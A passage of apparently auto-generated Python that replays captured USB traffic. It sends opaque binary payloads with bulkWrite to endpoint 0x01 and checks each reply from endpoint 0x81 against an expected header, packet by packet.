b\"\\x30\\x2F\\x76\\xB9\\x92\\xA4\\xCF\\x3A\\xBF\\xE1\\xFE\\x7E\\x87\\xBA\\x72\\x35\"\n b\"\\x12\\x44\\x2B\\x42\\x93\\x2D\\xB5\\x39\\x60\\x29\\x2C\\xF0\\x36\\x6B\\xD0\\xEC\"\n b\"\\x2A\\x18\\x03\\xD7\\x55\\x24\\x07\\x16\\x13\\x87\\xCA\\xB8\\x83\\x17\\x99\\x9F\"\n b\"\\x0D\\xAD\\xDC\\x4A\\x13\\x75\\x29\\xDA\\x16\\x53\\xB2\\xFD\\xF6\\x73\\xA9\\x6E\"\n b\"\\x01\\x78\\x19\\x50\\x09\\xA3\\x29\\x45\\x7F\\xDF\\xA0\\x39\\xF0\\x1A\\x71\\xAB\"\n b\"\\xA1\\x1E\\x8A\\x7A\\xA9\\x4E\\xAF\\xCF\\x39\\x1E\\x0E\\x1A\\xF2\\xAB\\xFE\\x3F\"\n b\"\\x16\\x5D\\x38\\xD4\\xE3\\x9F\\xEE\\x56\\x45\\xE7\\x51\\xD7\\xB9\\x5F\\x36\\x29\"\n b\"\\x72\\xB7\\xCC\\x9D\\x03\\xF9\\x78\\x96\\xF3\\x3E\\xF1\\x20\")\n # Generated from packet 951/952\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 951/952\")\n # Generated from packet 953/954\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x78\\xE9\\x38\\x81\\xD4\\x16\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xBD\\x50\\x27\\x92\\xDB\\x6D\\xE8\\x0D\"\n b\"\\x7C\\xEF\\x5D\\xFD\\x22\\x8B\\x55\\x89\\xE2\\x5E\\x49\\x5F\\x73\\x96\\xC4\\x76\"\n b\"\\x9B\\xF9\\x60\\xA8\\xD2\\xE1\\x93\\x4D\\x49\\xE7\\xA2\\xEA\\x57\\x17\\x93\\x06\"\n b\"\\xD0\\x6F\\xB5\\xB1\\xB3\\x1E\\xBD\\x22\\xB4\\x32\\xF3\\x7D\\xAF\\x33\\xC1\\xED\"\n b\"\\x59\\x38\\xE2\\x5B\\xEA\\xF7\\x41\\x67\\x84\\x59\\x65\\x8C\\xB0\\x7D\\xDF\\xEC\"\n b\"\\xDB\\x47\\x74\\x57\\xE9\\xD2\\x6C\\x70\\x24\\x81\\xB2\\xDD\\x60\\xFD\\x00\\x6B\"\n b\"\\x4C\\x51\\x56\\x55\\x8C\\x54\\x68\\x51\\xCE\\xC6\\x5F\\x03\\x9B\\x18\\xED\\xAC\"\n b\"\\xE3\\x13\\xD5\\x14\\x19\\x17\\x55\\x5A\\xF3\\xF2\\xCC\\x03\\xE8\\xB5\\x42\\x2C\"\n b\"\\x46\\xAC\\x09\\x57\\x99\\x9B\\x8C\\x9B\\x22\\x88\\x9D\\x04\\x48\\x09\\xB3\\x47\"\n b\"\\x28\\xA3\\xA5\\x28\\x47\\xA1\\x07\\x1D\\x4C\\x60\\x76\\x39\\x27\\xB5\\x84\\x92\"\n b\"\\x4B\\xC0\\xAF\\x0C\\x6F\\xF6\\x7D\\x83\\xC3\\x5C\\x0C\\x70\\x06\\x71\\x43\\xCD\"\n b\"\\x3B\\xFC\\xE1\\xF4\\x9F\\x12\\x51\\xA9\\xD6\\xE6\\xCB\\x17\\x3F\\x0E\\x3C\\x97\"\n b\"\\xC7\\xB8\\x5F\\xC0\\x2D\\xC5\\x5E\\xBE\\x11\\xEE\\x6B\\x40\\xD6\\xF6\\xAE\\xBC\"\n b\"\\x42\\x45\\x60\\xB4\\xA6\\xC0\\x89\\x65\\x39\\x10\\xEF\\xC0\\x23\\x8E\\x24\\x59\"\n b\"\\xB6\\x1E\\x27\\xDE\\x09\\x28\\x28\\x2F\\xC5\\x40\\xA0\\xE4\\x78\\x5B\\x78\\x5B\"\n b\"\\x8B\\x51\\xFD\\x01\\x0B\\x56\\xAE\\x70\\xE2\\xB1\\xEF\\x34\\x30\\x88\\xC0\\xE9\"\n b\"\\xB6\\x7B\\x00\\x5E\\x35\\xFC\\xFF\\x93\\x69\\xEA\\x7E\\xEF\")\n # Generated from packet 955/956\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 955/956\")\n # Generated from packet 957/958\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x61\\xB6\\xF5\\xC9\\x61\\x7F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x9E\\x54\\x35\\xBC\\xB4\\x34\\x6F\\xF0\"\n b\"\\xC9\\x90\\x07\\x1E\\xD6\\x76\\x4D\\x4C\\x3B\\x8B\\x5E\\x81\\xEC\\xB8\\xBF\\xD2\"\n b\"\\x3A\\x76\\x01\\x82\\xB4\\x9D\\x97\\x7E\\x88\\xE9\\x6D\\x83\\x65\\x15\\xA5\\xF3\"\n b\"\\x70\\x3D\\x75\\xDC\\xD7\\xDB\\xF9\\x13\\x84\\x6D\\xF8\\xC0\\xA8\\x73\\x0E\\xBC\"\n b\"\\xBC\\xB5\\x22\\x95\\x0C\\x32\\xAA\\x4F\\x0E\\xBC\\x80\\x2B\\xFD\\x8F\\xFD\\xD3\"\n b\"\\x7A\\xB7\\x8E\\x42\\x1C\\x9B\\x48\\x1B\\x08\\xE8\\xA4\\xF5\\xC9\\x44\\x91\\xB2\"\n b\"\\x59\\xD1\\xF3\\xFF\\x53\\x4F\\x5D\\xEC\\x0A\\x34\\x04\\x1B\\x95\\x91\\x8B\\x88\"\n b\"\\xC9\\x25\\x98\\x7C\\x7C\\xEC\\x9C\\x76\\x6B\\x00\\x10\\xA2\\x34\\x91\\x02\\x0E\"\n b\"\\xD9\\x9D\\x43\\xAA\\x88\\xC3\\xC4\\xFF\\x52\\x25\\x78\\x99\\x1F\\x71\\x55\\x10\"\n b\"\\xAE\\x97\\x56\\xCB\\x73\\x67\\x3F\\x7F\\x56\\xD3\\xF4\\x72\\x97\\xD5\\x73\\x7B\"\n b\"\\x2B\\xF8\\x1D\\x9E\\x18\\xDE\\x4B\\x30\\x55\\x67\\xC7\\x96\\xA3\\x80\\x71\\x34\"\n b\"\\xD1\\x6A\\x32\\x97\\x10\\x35\\x9C\\xA7\\x98\\x17\\xA1\\x3E\\x4D\\x1B\\x5B\\xE3\"\n b\"\\x7B\\x20\\x07\\x16\\x6A\\x4A\\x29\\x47\\xFF\\x53\\xC0\\x64\\xE6\\xF5\\xB7\\x35\"\n b\"\\x72\\x4F\\xB7\\x23\\x55\\xF5\\x5D\\x2A\\x0D\\xB9\\x1E\\xBC\\x88\\xBB\\x26\\x62\"\n b\"\\x28\\x76\\xD1\\xB5\\x2E\\xF6\\xB7\\x4C\\xD3\\xE5\\xF1\\x7E\\xE2\\x76\\x86\\x48\"\n b\"\\x7F\\xE9\\x2F\\x42\\x73\\x75\\xFC\\xBD\\xCF\\x14\\x9A\\x1A\\xE8\\xCF\\x91\\x94\"\n b\"\\x96\\x72\\x78\\x73\\xC3\\xDB\\xA6\\x6C\\xB9\\x51\\x25\\xF1\")\n # Generated from packet 959/960\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 959/960\")\n # Generated from packet 961/962\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x17\\xC7\\x1A\\xAD\\x8D\\x3A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x42\\xDF\\x6D\\x1A\\xDA\\xE1\\xCB\\x48\"\n b\"\\x9D\\xD9\\x10\\xD0\\xDB\\x00\\x2A\\x85\\x46\\x41\\xEF\\xEC\\x82\\x3D\\x36\\x38\"\n b\"\\x1A\\x5D\\x02\\x1F\\x1C\\x05\\x6C\\x6A\\x67\\x7D\\x34\\xA7\\x07\\x44\\xE1\\xD1\"\n b\"\\x91\\x5B\\xDA\\x9E\\xA9\\x92\\x3D\\x40\\x44\\x21\\x41\\x7F\\x03\\x9D\\xF6\\x5F\"\n b\"\\xED\\x83\\xC7\\xA0\\x10\\x62\\xCE\\xD8\\xA2\\xF4\\x1D\\xB7\\xDB\\xED\\x0E\\x1A\"\n b\"\\x47\\x43\\xC6\\x87\\xB5\\x6B\\x65\\x62\\x16\\x68\\x77\\x62\\x48\\x83\\xE4\\x41\"\n b\"\\x6E\\xDD\\x8F\\xBF\\x18\\x82\\xE8\\xAD\\x0E\\xF9\\x1C\\xB6\\xD4\\xCC\\x5E\\xA2\"\n b\"\\xAA\\xCD\\xCE\\x79\\xB7\\x5B\\xDB\\xD9\\xBA\\xAB\\x48\\xE6\\x2E\\x08\\x5D\\x19\"\n b\"\\xA7\\x97\\xCD\\x77\\xDF\\x06\\x33\\x1D\\x20\\x49\\x5A\\x90\\xAA\\x21\\xDC\\xA7\"\n b\"\\xB7\\x08\\x38\\x70\\xF0\\xE6\\x3A\\xD8\\x82\\xAC\\x15\\x42\\xFF\\xAF\\xB9\\x3E\"\n b\"\\x57\\xD2\\x14\\x2E\\xAA\\x18\\x91\\xE3\\xA5\\xE9\\xAF\\xA8\\x63\\xF3\\x18\\x97\"\n b\"\\x93\\xDE\\xD5\\x95\\x58\\x76\\x1E\\x63\\x79\\xFD\\x97\\x29\\xBF\\xB3\\x87\\x4D\"\n b\"\\x7D\\x9C\\x72\\x65\\x5D\\x20\\x22\\x13\\x61\\x1A\\x19\\x3B\\xDF\\x23\\xFA\\x61\"\n b\"\\x6C\\x58\\xF4\\xA8\\x72\\x36\\xC2\\xA6\\x65\\x1C\\x97\\x85\\x6F\\x06\\x93\\x11\"\n b\"\\xB9\\x2B\\xD7\\x78\\x80\\x7F\\x4C\\x36\\x1E\\xE0\\xF0\\x1A\\x59\\x57\\xAA\\xF5\"\n b\"\\x8D\\x25\\x89\\xE2\\xD0\\x40\\x3A\\xDB\\x0D\\x75\\x74\\x7B\\x71\\xA5\\xBE\\xEE\"\n b\"\\xDA\\x63\\x93\\x8E\\xF9\\x95\\xF1\\x14\\x4C\\xFC\\xE3\\x9E\")\n # Generated from packet 963/964\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 963/964\")\n # Generated from packet 965/966\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xB7\\xA7\\x27\\x59\\xBE\\x7F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x63\\x1F\\xD3\\x3A\\x11\\x07\\xCC\\x08\"\n b\"\\xBA\\xA4\\x1D\\x5A\\x2B\\x7B\\x8C\\xD3\\x1A\\x44\\x0D\\x92\\xD3\\xB0\\xF0\\xD4\"\n b\"\\x38\\x23\\x32\\xB4\\x5D\\x1E\\xE4\\x6B\\x3F\\xEB\\x5B\\xBE\\x31\\xE5\\xA0\\xAB\"\n b\"\\xD0\\x9E\\x7A\\xE2\\xEB\\x84\\x37\\xF1\\xEC\\x8A\\x42\\xC5\\x1B\\x82\\x2E\\x99\"\n b\"\\xAF\\x49\\xB1\\x2D\\x8A\\x43\\x58\\x06\\x85\\x15\\xE8\\xD0\\x28\\xA5\\x17\\xE5\"\n b\"\\xFA\\x39\\x13\\xEE\\xA0\\x81\\x37\\x5E\\x5C\\x5A\\xEB\\xAB\\x74\\xB0\\x3E\\xD0\"\n b\"\\x43\\x64\\x25\\x6A\\x7A\\xD7\\xE7\\x1C\\x2F\\x52\\xF8\\x38\\xA9\\x32\\x10\\x18\"\n b\"\\x74\\xDC\\xF3\\xD7\\x74\\x93\\xD5\\xF2\\x00\\x26\\x80\\x97\\x04\\x5F\\x9F\\xAE\"\n b\"\\xE1\\xD0\\xEE\\x39\\x6C\\xCD\\x82\\x43\\x3F\\x6F\\xDD\\x80\\x33\\x9E\\x2B\\x05\"\n b\"\\x90\\xF3\\x43\\x34\\xE6\\x74\\x67\\x8D\\x6E\\x01\\xEE\\x06\\xD5\\x15\\x3A\\x31\"\n b\"\\x82\\x83\\xFF\\x18\\xD8\\xF9\\x93\\x23\\x2A\\x47\\xAB\\x1A\\xE8\\x23\\xF9\\x11\"\n b\"\\x82\\x64\\xA8\\x9E\\xD0\\xF9\\x7F\\xDF\\xB9\\xA4\\xA4\\xB9\\x8B\\xA1\\x60\\x8D\"\n b\"\\x63\\xB1\\x9C\\x58\\x86\\x92\\xBA\\xFA\\xE1\\xA9\\x74\\x49\\xFF\\xE7\\x1B\\x89\"\n b\"\\xDA\\x94\\x9F\\x82\\x99\\xFA\\xD3\\x69\\x6C\\x6B\\x25\\x43\\x64\\x82\\xB0\\xA4\"\n b\"\\x03\\x1B\\x12\\x70\\x9E\\x25\\x25\\xED\\x7C\\x0E\\x4F\\x9A\\x05\\x62\\xB7\\xF8\"\n b\"\\x53\\x45\\x4B\\x0A\\xB6\\xF1\\x03\\x2B\\x6B\\x45\\x46\\x3C\\xD2\\xA2\\x9F\\xE7\"\n b\"\\x94\\xC3\\x28\\x92\\x7A\\x51\\x2F\\xFF\\xE9\\xFC\\x70\\xF3\")\n # Generated from packet 967/968\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 967/968\")\n # Generated from packet 969/970\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x6F\\x4E\\xD1\\xA2\\x7B\\x0C\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x26\\x7B\\x1B\\xE7\\x3C\\x20\\x27\\xC9\"\n b\"\\xCC\\x07\\x85\\xC2\\xE5\\xCF\\xC2\\x53\\xA7\\xF1\\x3E\\xD9\\x49\\x6D\\x62\\xEB\"\n b\"\\x6D\\xFD\\xE3\\x77\\x70\\xFB\\x8B\\x57\\x8D\\x26\\x3C\\xD8\\xCD\\xAD\\x85\\x55\"\n b\"\\x91\\x2E\\x68\\x76\\x4B\\x42\\x92\\xC2\\x7D\\x08\\xBA\\x02\\xED\\xC2\\xF0\\xE3\"\n b\"\\xC8\\x19\\x79\\xDF\\x6D\\x22\\x4C\\x42\\x58\\xCD\\xB0\\x05\\x11\\xEE\\x8D\\x84\"\n b\"\\x43\\x37\\x26\\xF4\\x18\\xDA\\xE6\\x39\\x8A\\xC7\\xD2\\x3E\\x38\\x9D\\xCA\\x98\"\n b\"\\xEC\\xF3\\x02\\x07\\xE0\\x64\\x7C\\x68\\xB1\\xFB\\xB0\\xC7\\xD9\\x87\\xFF\\xC2\"\n b\"\\x31\\x9F\\xA1\\x6E\\xB0\\x48\\x49\\x44\\x5A\\xEF\\x7B\\x0D\\x8D\\x95\\x78\\xF6\"\n b\"\\x93\\xC9\\x33\\x3B\\x46\\x21\\xFC\\x50\\xCE\\xBA\\x35\\x9F\\xB3\\x46\\xA3\\x14\"\n b\"\\x4A\\xF0\\x9B\\x96\\xBD\\x91\\x98\\x78\\x53\\x1D\\x9B\\x35\\xC2\\x9D\\x39\\x90\"\n b\"\\xC9\\xAB\\xCB\\xDC\\xC3\\x87\\x9C\\x89\\x26\\xCF\\xB8\\x66\\x3C\\xEA\\xEE\\x2A\"\n b\"\\x80\\x33\\x21\\x68\\xE6\\x79\\x29\\x12\\x1F\\x74\\x19\\x56\\x25\\xB6\\xB3\\xE1\"\n b\"\\xEB\\xA9\\xA1\\xA8\\x02\\x3F\\xEC\\x12\\x11\\xF2\\x6A\\x3C\\x29\\x11\\x47\\x64\"\n b\"\\xF1\\xB9\\xFA\\x78\\x73\\x21\\x58\\xF8\\xE1\\x5D\\xDA\\xB4\\x05\\x59\\x5D\\xD6\"\n b\"\\x16\\x9D\\x56\\x78\\x77\\x21\\x48\\x2D\\x6F\\x87\\x1A\\xF0\\xD6\\x42\\xD6\\xDE\"\n b\"\\x00\\x7B\\x2B\\x0B\\xEC\\xD0\\x6C\\xC1\\xD3\\x7F\\x71\\x99\\xB3\\x04\\xD1\\x6D\"\n b\"\\xF7\\xA8\\x71\\x24\\x08\\x50\\x14\\xFB\\xBF\\xFC\\xB8\\x63\")\n # Generated from packet 971/972\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 971/972\")\n # Generated from packet 973/974\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xD6\\xD2\\xCE\\x65\\x05\\x50\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xEF\\x22\\xC5\\x05\\xA3\\xC5\\x8B\\xDE\"\n b\"\\x8A\\x16\\x00\\x3E\\x94\\xE6\\xCD\\x9B\\x74\\xE0\\xBC\\x9F\\x98\\x80\\x90\\x86\"\n b\"\\x1F\\x21\\xC2\\xE1\\x7A\\xCC\\x70\\x2F\\x88\\x44\\x36\\xB0\\x1F\\x12\\x13\\xD8\"\n b\"\\x58\\xA1\\xAA\\x30\\xBD\\xBD\\x75\\x58\\x42\\x56\\x49\\x5A\\xE9\\x5C\\xC9\\xD7\"\n b\"\\x39\\xF7\\x8B\\xD2\\xA8\\x62\\x8D\\x44\\x24\\x45\\xBC\\x74\\x60\\x07\\xA2\\xF4\"\n b\"\\xAA\\x15\\xAD\\x8F\\x43\\x2D\\x67\\x7A\\x52\\x75\\xB6\\x95\\x8F\\x53\\xB3\\x72\"\n b\"\\x05\\x75\\x8E\\xDE\\xEC\\x04\\xC0\\x52\\x0B\\x83\\xF1\\xF3\\xEC\\x20\\x89\\x89\"\n b\"\\xA3\\x7A\\xE3\\x75\\xA4\\x88\\x60\\xD5\\x1D\\xB8\\x83\\x04\\x0F\\x11\\x7B\\xA6\"\n b\"\\x6B\\x42\\x1A\\xF8\\x2E\\xAF\\xBC\\x29\\x3E\\x2F\\x85\\xB6\\xFD\\xC0\\xA9\\x9B\"\n b\"\\xB9\\xCB\\x3B\\x5A\\x3B\\x1A\\x43\\xDF\\x19\\x6F\\x8E\\xF4\\x52\\x59\\xC4\\xE7\"\n b\"\\x33\\x4A\\xCC\\xBC\\xB3\\xEC\\x4D\\x78\\x69\\x1D\\xCF\\x90\\xF1\\x7B\\xB2\\xFA\"\n b\"\\x9B\\x57\\x6C\\x9C\\x1A\\xB7\\x25\\xD9\\xB6\\xA4\\xD8\\x5B\\xAB\\x89\\x42\\xBF\"\n b\"\\xAE\\x10\\xFE\\xA2\\xDF\\x35\\x11\\x3B\\x93\\x80\\x28\\x7D\\x53\\x1F\\x4F\\x32\"\n b\"\\x72\\xEC\\xA6\\x28\\x1B\\x72\\xEA\\x5A\\x31\\x87\\xCD\\x9F\\xF8\\x30\\xC5\\xA2\"\n b\"\\x8C\\xDF\\xFF\\xB8\\x82\\x09\\x2B\\xCC\\x3D\\x60\\xD8\\x3C\\x19\\xDC\\xCB\\xC7\"\n b\"\\x9E\\x0D\\x8B\\x04\\x47\\xD4\\xF1\\x7E\\x5D\\xE3\\x37\\xA4\\x37\\x2C\\x15\\x6C\"\n b\"\\xA3\\xD3\\x9F\\x65\\x1C\\x79\\x38\\x8C\\x93\\x5A\\xBC\\x55\")\n # Generated from packet 975/976\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 975/976\")\n # Generated from packet 977/978\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xBD\\x2F\\x87\\x08\\x15\\x0C\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0B\\xBB\\x1D\\xEF\\xD8\\xCC\\xE4\\xCC\"\n b\"\\x1B\\xD4\\x02\\xF0\\xD6\\x13\\xBD\\x63\\xCD\\xB8\\xFA\\x2D\\xC3\\xCA\\xFF\\x8F\"\n b\"\\xA0\\x86\\x72\\xAB\\x76\\x51\\xCA\\x1B\\xAE\\x41\\x95\\x7E\\x32\\xD0\\x80\\x2D\"\n b\"\\xD2\\xD8\\xC7\\xC2\\x7E\\x80\\xF5\\x63\\x78\\xB8\\x67\\xB7\\x4D\\xC5\\x18\\x0E\"\n b\"\\xCD\\xEC\\x79\\x3E\\x69\\x31\\x10\\x60\\xC8\\xD0\\x68\\x6B\\x3E\\x60\\x0B\\x57\"\n b\"\\xC6\\x4E\\xA5\\x40\\x53\\xC0\\xFA\\xAA\\x28\\x7B\\xE2\\x29\\x78\\xD8\\xBB\\x46\"\n b\"\\x70\\xCA\\x41\\x8E\\x59\\xC1\\x19\\x8C\\xDE\\x1A\\x4E\\x71\\xC4\\xD7\\x5B\\x3E\"\n b\"\\xEB\\xED\\xF9\\x56\\x8E\\xA2\\x4E\\x9D\\x37\\x53\\x43\\xB9\\xCC\\x96\\xBA\\xEA\"\n b\"\\x62\\x6D\\x2B\\xCA\\xC7\\x60\\x62\\xDC\\x18\\x62\\x3B\\xBD\\xDE\\x35\\x37\\xE9\"\n b\"\\x8A\\x99\\x35\\x76\\x3E\\xD6\\x0E\\xDE\\xFE\\xBF\\xE0\\x1A\\x09\\x04\\x2A\\xA7\"\n b\"\\x3F\\x8D\\xE1\\xBC\\xF9\\xD4\\x27\\x98\\x72\\xD4\\x74\\xAB\\x55\\x4B\\x81\\xC7\"\n b\"\\xCE\\xBA\\x60\\x58\\x79\\x6C\\xC0\\x97\\xAE\\xB7\\xAB\\x0E\\x1A\\x56\\x01\\x64\"\n b\"\\xDF\\x3F\\x17\\x51\\x54\\x90\\xC7\\xFB\\x07\\xDD\\x15\\xA4\\xEE\\x03\\xCE\\x2C\"\n b\"\\xA0\\x7F\\xF2\\x9E\\xF5\\x99\\x69\\xC6\\x06\\x7E\\xD4\\x31\\xD5\\x29\\x4E\\x8E\"\n b\"\\xE7\\x90\\xBE\\xFA\\xD0\\xAA\\x5C\\x60\\x81\\xB8\\x2B\\x45\\x62\\x09\\x65\\xFA\"\n b\"\\x6D\\x7E\\x18\\x5A\\x6D\\xD1\\x7D\\xBB\\xBF\\x8F\\x46\\x5E\\xDC\\xFD\\xFC\\x29\"\n b\"\\xD5\\xF3\\x57\\x90\\x2D\\x93\\x0B\\x32\\x60\\x71\\x3E\\x23\")\n # Generated from packet 979/980\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 979/980\")\n # Generated from packet 981/982\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x3A\\x31\\x61\\x14\\x07\\x38\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x13\\x39\\x1C\\x69\\xF0\\xEF\\x1D\\x87\"\n b\"\\x55\\xB5\\xF6\\x7D\\x1E\\xE1\\xD4\\xFA\\x29\\x16\\x1D\\x73\\x10\\xF1\\xAF\\x0D\"\n b\"\\xB4\\x72\\x13\\x1C\\xD5\\xCD\\xEC\\xA3\\xA2\\xCD\\xF0\\xE5\\xF0\\xD8\\x9E\\xBA\"\n b\"\\x4D\\x24\\x38\\x4C\\xD4\\x82\\x2D\\x0F\\x02\\xB6\\x96\\x1B\\x02\\xEF\\x0D\\xF1\"\n b\"\\xC4\\xDF\\xBD\\x1A\\xED\\x92\\xDE\\x8B\\x85\\x19\\x98\\x3F\\xFB\\x6F\\xD4\\x74\"\n b\"\\x4F\\x7A\\x1B\\xEE\\xBB\\xFD\\xB3\\x9D\\x62\\x9D\\x91\\xA6\\xA6\\xCA\\xC9\\xAD\"\n b\"\\x30\\x12\\xEE\\xA1\\x54\\x73\\xB5\\x07\\x1F\\x75\\x8B\\x42\\x3B\\xA6\\xA1\\x37\"\n b\"\\x0B\\xE8\\x2C\\xCC\\xA1\\x54\\x95\\xDF\\xFE\\xD9\\xD3\\xA4\\x84\\xFC\\x67\\x37\"\n b\"\\x55\\xBE\\xCE\\x8A\\x62\\x50\\x13\\xD5\\xD7\\x9B\\xF6\\x65\\x52\\x32\\x1F\\x4A\"\n b\"\\x32\\xE3\\xB0\\x11\\x69\\xF4\\xB9\\xEC\\x88\\x41\\x12\\xE4\\x4B\\x4E\\x13\\xD7\"\n b\"\\xB9\\x48\\x4B\\xF1\\x37\\x7D\\x55\\x26\\x92\\x6F\\x8F\\xED\\xD9\\x8F\\x7E\\x60\"\n b\"\\xFE\\x29\\xEE\\xD7\\x3A\\x6B\\x73\\xC3\\xF0\\x68\\xDD\\x1E\\x69\\x92\\xB4\\x50\"\n b\"\\xAF\\xC1\\x82\\x2D\\x9F\\xB9\\xA4\\xBF\\xDE\\xC3\\xD6\\xE9\\x06\\x98\\x94\\xBE\"\n b\"\\x2D\\x7C\\x5D\\xBF\\x7A\\x4E\\xD3\\x0C\\x10\\x46\\xF7\\x44\\xF4\\x4B\\x28\\xD4\"\n b\"\\x4A\\xDD\\x33\\x4A\\x70\\xD1\\xCD\\xE2\\x2A\\x9D\\x8F\\xB3\\x80\\x53\\xFC\\x77\"\n b\"\\xFB\\xCD\\x2A\\xDE\\xD3\\x44\\x60\\xA8\\xA5\\x25\\x1B\\x47\\xE4\\xAA\\xA7\\x0B\"\n b\"\\x7A\\x62\\xC8\\x7F\\x3A\\xB0\\xA1\\xB9\\x8A\\x16\\x2E\\x56\")\n # Generated from packet 983/984\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 983/984\")\n # Generated from packet 985/986\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xE4\\x01\\x33\\x7C\\x3B\\x77\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xC9\\xAB\\x7A\\x57\\xEA\\xD8\\x69\\x17\"\n b\"\\x71\\xB1\\x6C\\x72\\x7F\\xF9\\xD0\\x06\\x4F\\xE2\\xDC\\xA2\\xAD\\xB5\\x01\\x45\"\n b\"\\x66\\xBD\\x5B\\x42\\x59\\x26\\x16\\x51\\xDE\\x7A\\xB4\\x55\\xF6\\x23\\xB0\\x27\"\n b\"\\x09\\x31\\x32\\x81\\x09\\x4C\\x12\\x57\\xD2\\x7F\\x65\\x14\\xF7\\xAE\\x6C\\x02\"\n b\"\\x40\\x79\\x6B\\x40\\xFE\\xCE\\x6E\\x3D\\x05\\xC7\\x51\\x10\\xE7\\x05\\x80\\x02\"\n b\"\\xC2\\x64\\x1E\\x28\\xAA\\x02\\xC4\\xCE\\x2C\\x55\\xAC\\xBA\\x5B\\xD3\\x8F\\x3B\"\n b\"\\x8D\\x9A\\xFD\\x9C\\x57\\x4F\\x31\\x7F\\x48\\xC2\\x79\\x90\\x1D\\x2D\\x48\\xBB\"\n b\"\\x05\\x2B\\x39\\xF5\\xB9\\x8E\\x82\\xDE\\xA4\\x14\\xD3\\x84\\x17\\xCD\\xBC\\xF7\"\n b\"\\x6B\\x71\\xE1\\xAC\\x6C\\x4D\\xDF\\xEE\\x30\\xAA\\x22\\x7F\\xF6\\x5C\\x44\\xE1\"\n b\"\\x94\\x0D\\x55\\x6C\\x0C\\x2A\\x70\\xD1\\x53\\xDD\\x7E\\xD4\\xAD\\x90\\x7A\\x60\"\n b\"\\x53\\x8B\\xEB\\xAA\\xA7\\xF1\\xF4\\x25\\xB6\\x5E\\x44\\xF8\\xEB\\x20\\x87\\x12\"\n b\"\\xF3\\x94\\xAC\\x8F\\xC7\\x13\\xBC\\x31\\x41\\xE0\\x2D\\xCC\\xCE\\x9E\\x9C\\xDB\"\n b\"\\xDF\\x65\\x85\\xDF\\x79\\xD9\\xEB\\x90\\x98\\x67\\xAB\\x7A\\x04\\x32\\x40\\xF5\"\n b\"\\x3C\\x72\\x04\\xF9\\xF5\\xA9\\xE2\\x05\\xFC\\x9A\\xE3\\xD7\\x88\\x5A\\x41\\x6F\"\n b\"\\x38\\x52\\x12\\x70\\x32\\xBF\\x3B\\xA2\\x51\\x5B\\xAC\\x54\\xC7\\x5C\\x02\\x00\"\n b\"\\x60\\xB8\\xD7\\x3D\\xBE\\x22\\x09\\xF6\\x6A\\x7D\\x89\\x52\\x0C\\x72\\x5F\\xEB\"\n b\"\\xD8\\xA7\\x6D\\x42\\x94\\xB2\\x6B\\x40\\xB8\\x1A\\xED\\x50\")\n # Generated from packet 987/988\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 987/988\")\n # Generated from packet 989/990\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x8B\\x5C\\x31\\xA1\\x33\\x06\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x99\\x9C\\xA7\\x15\\xE2\\xC0\\x91\\xDB\"\n b\"\\x5A\\xE8\\x46\\xAF\\xF7\\x8F\\x5C\\x1A\\x8B\\x33\\xD0\\x6B\\x6C\\xC9\\xAD\\xEB\"\n b\"\\xBC\\xE9\\xA0\\xE2\\x87\\x9A\\xCD\\xEC\\x7D\\x1C\\xF7\\xDE\\x08\\xD0\\x62\\x8E\"\n 